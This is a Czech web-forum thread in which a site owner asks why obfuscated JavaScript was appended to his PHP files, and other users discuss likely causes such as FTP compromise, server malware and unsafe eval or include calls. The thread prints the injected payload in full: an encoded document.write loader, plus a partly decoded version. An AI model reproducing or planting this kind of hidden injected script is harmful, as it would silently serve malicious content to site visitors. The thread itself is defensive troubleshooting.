Autor Zpráva
tk
Profil *
Ahoj, prosim o radu:
neco, zrejmne nejaky robot, mne pred nekolika dny zmenilo vsechny pozadovane (tj. i inkludovane) soubory *.php meho noveho webu na serveru tak, ze na konec kazdeho pozadovaneho souboru pridalo jakysi zakodovany javascriptovy 'document.write', ktery zrejme vlozil do kazde stranky nejaky neviditelny obsah.

Mam web na placenem hostingu, na podpore mi sdelili, ze se jedna o diru v aplikaci a ze ten zakodovany obsah udajne obsahuje pripojeni na nejaky jiny server.

Vsechny inkludovane soubory jsou inkludovane staticky. Z logu jsem nic kloudneho nevycetl.

Daval jsem web registrovat na google a na seznam.

O jaky utok se jedna a lze jej provest bez znalosti prihlasovacich udaju ftp?

Predem diky za vysvetleni
Alphard
Profil
O jaky utok se jedna a lze jej provest bez znalosti prihlasovacich udaju ftp?
1. nevíme, je to, jako bych tady napsal, že mi nejede auto, čím to může být, popis problému je nedostatečný
2. ano, soubory lze měnit pomocí např. PHP, odpovídalo by to díře v aplikaci
Hugo
Profil
tk

IMHO jde o chybu na serveru. Pokud ty php subory nevytváříš dynamicky, tak se k nim ten robot může dostat jen přes ftp.
Hugo
Profil
Alphard

ad 2) Pokud ten skript nepoužívá prasárny typu eval($_POST['var']), tak tz php soubory nemáš možnost ovlivnit hacknutím skriptu.
Alphard
Profil
Hugo
ano, ale to tvrdí tk
jak můžeš vědět, že se mu tam nedostal dynamicky sestavenej include, nebo jiná díra?
je to tvrzení proti tvrzení, (placený) hosting odpověděl, že díra v aplikaci je
informací je málo, já v této chvíli věřím spíše adminům na hostingu
tk
Profil *
1. nevíme, je to, jako bych tady napsal, že mi nejede auto, čím to může být, popis problému je nedostatečný

Pokusim se tedy jeste upresnit:

Mam soubor hlavni soubor index.php, pak dalsi soubory *.php, ktere jsou v tom index.php staticky inkludovany (include "neco.php"). Zadny *.php na serveru dynamicky nevytvarim. Nektere *.php se inkluduji jen za urcitych podminek, ktere vyzaduji prihlaseni. Soubory, ktere se inkluduji vzdy, zmeneny byly a soubory, ktere se inkluduji podminene, zmeneny nebyly. Prohledl jsem vsechny tabulky v databazi a zadny podezrely text nebo obsah blobu jsem nenasel.

Vypada to tedy, jako by bud:

neco (nejaky robot) precetlo ten index.php, napodobilo php parser a pozmenilo index.php i vsechny nepodminene inkludovane soubory *.php (proc jen ty nepodminene, mohl hledat jen include nebo require a je to, ze?). To se mi zda nerealne a tudiz nepravdepodobne

nebo:

skutecne se jedna o nejaky spyware primo na serveru, ktery nejakym hakem sleduje pristupy na disk a modifikuje ty soubory, ktere ten http-server, potazmo php taha.
tk
Profil *
A z hostingu mi takhle odpovedeli, protoze to nechteli priznat a uz to davno maji spravene...
tk
Profil *
eval($_POST['var'])
ted jsem si precetl, co ta funkce dela. Myslim ze je dobre ze jsem o ni drive nevedel.
koudi
Profil
Hosting se to může snažit zamaskovat, ale spíš nám sem hoď svuj zdroják a pak se uvidí, kde může být chyba.
tk
Profil *
koudi
Ten je moc velkej, je to redakcni system. Pri psani jsem dbal na bezpecnost vsech parametru predavanych pres get i post, ale samozrejme jsem mohl leccos vypustit, neznam vsechny mozne zpusoby utoku. Uvidim jestli se to bude opakovat a pak to budu dal resit. Ja jsem chtel zjistit pricinu treba od nekoho, komu se presne tohle prihodilo a nalezite to osetrit (pokud to lze).
djlj
Profil
Stačilo by poslat aspoň nějaké stěžejní části toho kódu. Takto ti opravdu nikdo neporadí.

A z hostingu mi takhle odpovedeli, protoze to nechteli priznat a uz to davno maji spravene...
A poté, co jsi tu takto obvinil hosting, si myslím, že je spíš chyba na tvé straně. Blbě kecat umí každý.
tk
Profil *
djlj
Pokud tam nejaka chyba je, muze byt kdekoli, nedokazu urcit stezejni cast kodu. Uznavam, tu poznamku o hostingu jsem si mel nechat pro sebe, chyba muze ovsem byt i na serveru, jak tu jiz nekdo zminoval. Take neverim, ze jsem jediny komu se tohle prihodilo, stacila by informace o viru nebo robotu, co tohle dela. Pak by se zrejme dalo zjistit, jak to dela. Bohuzel jsem si tu javascriptovou vsuvku smazal, tak ani neposkytnu k rozkodovani (sam bych to asi ted nerozkodoval). Pokud se to bude opakovat, pokusim se to resit znovu. Diky vsem za rady!
Hugo
Profil
Mě se něco podobného taky stalo na jednom serveru. Nějaky robot soustavně přemazával soubory index.*. Nakonec se povedlo dokopat správce ke kontrole systému a tím robot skončil (aspoň prozatím). Kde byla chyba nevím, protože s tím serverem nemám moc společného, takže jsem po tom moc nepátral.
djlj
Profil
tk
Já jsem se s tím totiž tak někdy před rokem setkal taky u nás na hostingu, a tam to byl problém toho klienta. I já bych to byl při pohledu na ten kód c.r.a.c.k.n.u.l raz dva.
tk
Profil *
Nasel jsem ten javascript, co byl na konci tech souboru. Co to znamena? Umi to nekdo rozkodovat?

<!--[O]--><script>document.write(unescape("%3Cscript%3Etry%20%7Bvar%20 Ko%3D%27TT0Tl0Tb0TZ0T70To0Tj0Ty0TM0TW0TY0Tp0Tk0Tw0Tm0Td0TR0T60TC0TL0T4 0TX0Tx0TB0T50TJ0TN0TD0Ts0TV0Tz0TP0TH0TS0Th0TO0TF0Tg0Tn0Tq0T90TK0Te0Ta0 TI0T80TG0Tt0Tf0Tr0TA0T30TU0Ti0lT0ll0lb0lZ0l70lo0lj0ly0lM0lW0lY0lp0lk0l w0lm0ld0lR0l60lC0lL0l40lX0lx0lB0l5%27%3Bvar%20nb%3DString%28%270%27%29 %2Cmz%3DArray%2812166%5E12073%2CWR%28%27224%27%29%2C26231%5E26247%2CWR %28%27225%27%29%2C15335%5E15133%2CWR%28%27227%27%29%2C1202%5E1109%2CWR %28%27173%27%29%2C27690%5E27871%2C30125%5E30027%2C21230%5E21011%2C5543 %5E5467%2CWR%28%27179%27%29%2CWR%28%27213%27%29%2CWR%28%27221%27%29%2C 11608%5E11747%2CWR%28%27202%27%29%2CWR%28%27191%27%29%2C29093%5E28959% 2C25249%5E25161%2C27944%5E28109%2C11079%5E11189%2C28430%5E28621%2C9303 %5E9465%2CWR%28%27246%27%29%2CWR%28%27228%27%29%2CWR%28%27215%27%29%2C WR%28%27168%27%29%2CWR%28%27189%27%29%2CWR%28%27199%27%29%2C13961%5E13 943%2C5971%5E6055%2C2423%5E2511%2CWR%28%27171%27%29%2CWR%28%27165%27%2 9%2CWR%2!
8%27167%27%29%2C24190%5E24285%2CWR%28%27247%27%29%2C2441%5E2417%2CWR%2 8%27177%27%29%2CWR%28%27235%27%29%2CWR%28%27212%27%29%2C10723%5E10557% 2CWR%28%27192%27%29%2C2269%5E2099%2C16873%5E16699%2CWR%28%27180%27%29% 2CWR%28%27162%27%29%2C9700%5E9533%2CWR%28%27203%27%29%2C19709%5E19487% 2CWR%28%27255%27%29%2C11856%5E11945%2CWR%28%27223%27%29%2C6977%5E7165% 2CWR%28%27251%27%29%2C6607%5E6419%2C19609%5E19495%2C23014%5E22863%2CWR %28%27178%27%29%2CWR%28%27172%27%29%2C22909%5E22965%2CWR%28%27205%27%2 9%2CWR%28%27233%27%29%2CWR%28%27170%27%29%2CWR%28%27206%27%29%2CWR%28% 27207%27%29%2C16685%5E16891%2C6862%5E6719%2CWR%28%27209%27%29%2CWR%28% 27234%27%29%2CWR%28%27208%27%29%2C440%5E289%2C5700%5E5861%2C14271%5E14 111%2CWR%28%27166%27%29%2C18017%5E18117%2C28854%5E28781%2C9998%5E10167 %29%3Bvar%20YU%2CYC%3Bvar%20hJ%2CVI%3D%27TTTlTbTZT7ToTjTyTMTWTYTbTjT7T pTYTkTwTmTdTZTRT6TwTZTCTLTkT4TXTZTkTxTYTBTYT5TJTkTNTXTjT5TdTCTDT4TXTZT kTkT4TNTBTkTYT5TJTkTNTXTjT5TdTCTDTkT4TNTsTlT5TjTVT7TzT5TdTxTYTsTPT5TjT VT7TzT5T!
dTCTHTSThTOTFTFTFTFTFTCTDTkTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TkTBT!
kTZTRTHT
qTBTqTHT5TlTbTXToT5TdTwTZTCTHTqTDT5T9ToT7TZT5TlTBTqTHT4TNTsTjTpTKTeTVT aTjTZT7TYTPTdTCTDTkTIT4TXTZTkT8TaTBTGTlTtTMTYT9TGT6TfTrTBTGTtTGTDT4TXT ZTkTZTATBTGTWToTgTXTjT5TtTsTbT3TXTlTlT7TbTjT5T3TsTpTZTPTGT6TUTiTBTGlTl lTjTzT3lTTGTDT7TMTdTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TsT7TYTgT5T9lbTMTdT8T aTHTGTBTGTHTfTrTCTBTBlZTtTCTLTkT4TXTZTkTJT4TBTGllTjTjTol7lTlTTGTHTdTgT pTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTkloTBTkTGTGljTGTGl7TlTzTdTCT CTHTgTpTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTsTZT5ToT3TXTbT5TdlTlyl MTXlZlWTFlZlYTslZlplTT6TGTsTGTCTsTZT5ToT3TXTbT5TdlTlkTsTHlTT6TGTsTGTCT HTGTsTGTHTlTzTdTCTHTGTsTGTHTZTATHTUTiTDT4TXTZTklWTZTBTgTpTbTWTzT5TYTjT sTbTZT5TXTjT5lwT3T5TzT5TYTjTdTGT7TMTZTXTzT5TGTCTDlWTZTsTlT5TjT8TjTjTZT 7lmTWTjT5TdTGTlTZTbTGT6TJT4TCTDlWTZTsTMTZTXTzT5ldTpTZTgT5TZTBTFTDTklWT ZTsTJT7TgTjllTBTtTDlWTZTsllT5T7TPllTjTBTtTDTjTZlRTkTLTkTgTpTbTWTzT5TYT jTslmTpTglRTsTXToToT5TYTgl6llT7T3TgTdlWTZTCTDTwTmTdT8TaT6TfTrTCTDTkTIT bTXTjTbllTdT5TCTLTkTgTpTbTWTzT5TYTjTsTJTZT7TjT5TdTGTTllTjTzT3TyTTlmTpT glRTyTTlT!
lmTpTglRTyTTlTllTjTzT3TyTGTCTDTgTpTbTWTzT5TYTjTslmTpTglRTsTXToToT5TYTg l6llT7T3TgTdlWTZTCTDTkTwTmTdT8TaT6TfTrTCTDTkTITkTIlCTMTWTYTbTjT7TpTYTk TlTzTdTCTLTkT4TXTZTkTWlmTBlLTOT6TAldTBTqTFTtlLl4TOlXThlxTSlYTFTXlmTbTg T5TMTqTDT4TXTZTkTrlwTBTqTqTDTkTMTpTZTdT8lBTBTFTDTkT8lBTkTTTkTWlmTDTkT8 lBTHTHTCTkTrlwTHTBTkTAldTsTlTWlmTlTjTZTdTeTXTjllTsTMT3TpTpTZTdTeTXTjll TsTZTXTYTgTpTzTdTCl5TAldTsT3T5TYTPTjllTCT6TtT6TtTCTDTkTZT5TjTWTZTYTkTr lwTDTkTITTlTTlTbTZT7ToTjTy%27%3Bvar%20AP%3DString%28%29%3BKo%3DKo.spli t%28nb%29%3Bfor%28YU%3D0%3BYU%3CVI.length%3BYU+%3D2%29%7BhJ%3DVI.subst r%28YU%2C2%29%3Bfor%28YC%3D0%3BYC%3CKo.length%3BYC++%29%7Bif%28Ko%5BYC %5D%3D%3DhJ%29break%3B%7D%20AP+%3DString.fromCharCode%28mz%5BYC%5D%5E1 47%29%3B%7Dfunction%20WR%28RE%29%7Breturn%20parseInt%28RE%29%7Ddocumen t.write%28AP%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script><!- -[/O]-->
Alphard
Profil
když to na tohle fórm vložíš jako text, tak se do toho přidají mezery, vlož to jako kód, nebo to někam nahrej a dej sem odkaz
tk
Profil *
Alphard
Skolacka chyba. Je to k videni zde jako textak (prohlizec by to nemel vykonat)
tk
Profil *
Ty CR+LF tam uz byly (tedy doufam, mozna jen unixovske CR), sebral jsem to z majlu, ktery jsem posilal na tu podporu a driv jsem se nevsiml ze to tam dole je.
Alphard
Profil
je v tom "ukrytý" nějaký další javascript, trochu jsem to upravil pomocí php funkce urldecode(), dám se výsledek, ale dál se v tom hrabat nebudu


<script>try {var Ko='TT0Tl0Tb0TZ0T70To0Tj0Ty0TM0TW0TY0Tp0Tk0Tw0Tm0Td0TR0T60TC0TL0T40TX0 Tx0TB0T50TJ0TN0TD0Ts0TV0Tz0TP0TH0TS0Th0TO0TF0Tg0Tn0Tq0T90TK0Te0Ta0TI0T 80TG0Tt0Tf0Tr0TA0T30TU0Ti0lT0ll0lb0lZ0l70lo0lj0ly0lM0lW0lY0lp0lk0lw0lm 0ld0lR0l60lC0lL0l40lX0lx0lB0l5';var nb=String('0'),mz=Array(12166^12073,WR('224'),26231^26247,WR('225'),15 335^15133,WR('227'),1202^1109,WR('173'),27690^27871,30125^30027,21230^ 21011,5543^5467,WR('179'),WR('213'),WR('221'),11608^11747,WR('202'),WR ('191'),29093^28959,25249^25161,27944^28109,11079^11189,28430^28621,93 03^9465,WR('246'),WR('228'),WR('215'),WR('168'),WR('189'),WR('199'),13 961^13943,5971^6055,2423^2511,WR('171'),WR('165'),WR%2!
8'167'),24190^24285,WR('247'),2441^2417,WR('177'),WR('235'),WR('212'), 10723^10557,WR('192'),2269^2099,16873^16699,WR('180'),WR('162'),9700^9 533,WR('203'),19709^19487,WR('255'),11856^11945,WR('223'),6977^7165,WR ('251'),6607^6419,19609^19495,23014^22863,WR('178'),WR('172'),22909^22 965,WR('205'),WR('233'),WR('170'),WR('206'),WR('207'),16685^16891,6862 ^6719,WR('209'),WR('234'),WR('208'),440^289,5700^5861,14271^14111,WR(' 166'),18017^18117,28854^28781,9998^10167);var YU,YC;var hJ,VI='TTTlTbTZT7ToTjTyTMTWTYTbTjT7TpTYTkTwTmTdTZTRT6TwTZTCTLTkT4TXTZT kTxTYTBTYT5TJTkTNTXTjT5TdTCTDT4TXTZTkTkT4TNTBTkTYT5TJTkTNTXTjT5TdTCTDT kT4TNTsTlT5TjTVT7TzT5TdTxTYTsTPT5TjTVT7TzT5T!
dTCTHTSThTOTFTFTFTFTFTCTDTkTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TkTBT!
kTZTRTHTqTBTqTHT5TlTbTXToT5TdTwTZTCTHTqTDT5T9ToT7TZT5TlTBTqTHT4TNTsTjT pTKTeTVTaTjTZT7TYTPTdTCTDTkTIT4TXTZTkT8TaTBTGTlTtTMTYT9TGT6TfTrTBTGTtT GTDT4TXTZTkTZTATBTGTWToTgTXTjT5TtTsTbT3TXTlTlT7TbTjT5T3TsTpTZTPTGT6TUT iTBTGlTllTjTzT3lTTGTDT7TMTdTgTpTbTWTzT5TYTjTsTbTpTpTnT7T5TsT7TYTgT5T9l bTMTdT8TaTHTGTBTGTHTfTrTCTBTBlZTtTCTLTkT4TXTZTkTJT4TBTGllTjTjTol7lTlTT GTHTdTgTpTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTkloTBTkTGTGljTGTGl7T lTzTdTCTCTHTgTpTbTWTzT5TYTjTsT3TpTbTXTjT7TpTYTsllTpTlTjTsTZT5ToT3TXTbT 5TdlTlylMTXlZlWTFlZlYTslZlplTT6TGTsTGTCTsTZT5ToT3TXTbT5TdlTlkTsTHlTT6T GTsTGTCTHTGTsTGTHTlTzTdTCTHTGTsTGTHTZTATHTUTiTDT4TXTZTklWTZTBTgTpTbTWT zT5TYTjTsTbTZT5TXTjT5lwT3T5TzT5TYTjTdTGT7TMTZTXTzT5TGTCTDlWTZTsTlT5TjT 8TjTjTZT7lmTWTjT5TdTGTlTZTbTGT6TJT4TCTDlWTZTsTMTZTXTzT5ldTpTZTgT5TZTBT FTDTklWTZTsTJT7TgTjllTBTtTDlWTZTsllT5T7TPllTjTBTtTDTjTZlRTkTLTkTgTpTbT WTzT5TYTjTslmTpTglRTsTXToToT5TYTgl6llT7T3TgTdlWTZTCTDTwTmTdT8TaT6TfTrT CTDTkTITbTXTjTbllTdT5TCTLTkTgTpTbTWTzT5TYTjTsTJTZT7TjT5TdTGTTllTjTzT3T yTTlmTpTglRTyTTlT!
lmTpTglRTyTTlTllTjTzT3TyTGTCTDTgTpTbTWTzT5TYTjTslmTpTglRTsTXToToT5TYTg l6llT7T3TgTdlWTZTCTDTkTwTmTdT8TaT6TfTrTCTDTkTITkTIlCTMTWTYTbTjT7TpTYTk TlTzTdTCTLTkT4TXTZTkTWlmTBlLTOT6TAldTBTqTFTtlLl4TOlXThlxTSlYTFTXlmTbTg T5TMTqTDT4TXTZTkTrlwTBTqTqTDTkTMTpTZTdT8lBTBTFTDTkT8lBTkTTTkTWlmTDTkT8 lBTHTHTCTkTrlwTHTBTkTAldTsTlTWlmTlTjTZTdTeTXTjllTsTMT3TpTpTZTdTeTXTjll TsTZTXTYTgTpTzTdTCl5TAldTsT3T5TYTPTjllTCT6TtT6TtTCTDTkTZT5TjTWTZTYTkTr lwTDTkTITTlTTlTbTZT7ToTjTy';var AP=String();Ko=Ko.split(nb);for(YU=0;YU<VI.length;YU =2){hJ=VI.substr(YU,2);for(YC=0;YC<Ko.length;YC ){if(Ko[YC]==hJ)break;} AP =String.fromCharCode(mz[YC]^147);}function WR(RE){return parseInt(RE)}document.write(AP);}
catch(e){}

</script>
tk
Profil *
Alphard
Dik, je to zakodovany vickrat, asi se tam skryva pekny 'darecek'. Trochu jsem to jeste poupravil, je to opet zde. Nevyznam se v javascriptu do te miry, abych tomu 100% rozumnel, ted nemam moc casu, pozdeji se na to jeste podivam (alespon si rozsirim znalosti z Javascriptu).
mila
Profil
Jestli je tam document.write, tak se podívej na vygenerovaný zdrojový kód. Umí to jak Webdeveloper Toolbar pro Firefox, tak Firebug. Jistě by to šlo rozkódovat, ale tohle je asi nejjednodušší řešení. Nebo místo document.write tam dej alert.

Píšeš že toho dosti includuješ podle parametrů. Cokoli podobného include $_GET['page']; je potencionální nebezpečí.

Nezdá se mi ale že by nekdo do těch souborů přidal něco dírou v tém php, protože pokud si to nenastavoval jinak, tak většinou defaultně php nemá právo zápisu do souborů.
tk
Profil *
Umí to jak Webdeveloper Toolbar pro Firefox, tak Firebug
Super tool ten Firebug, nainstalil jsem dneska, zitra poladim, uvidim co z toho vyleze. Parada, to ladeni javascriptu, pomuze mi to i v dalsim vyvoji. Thx

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: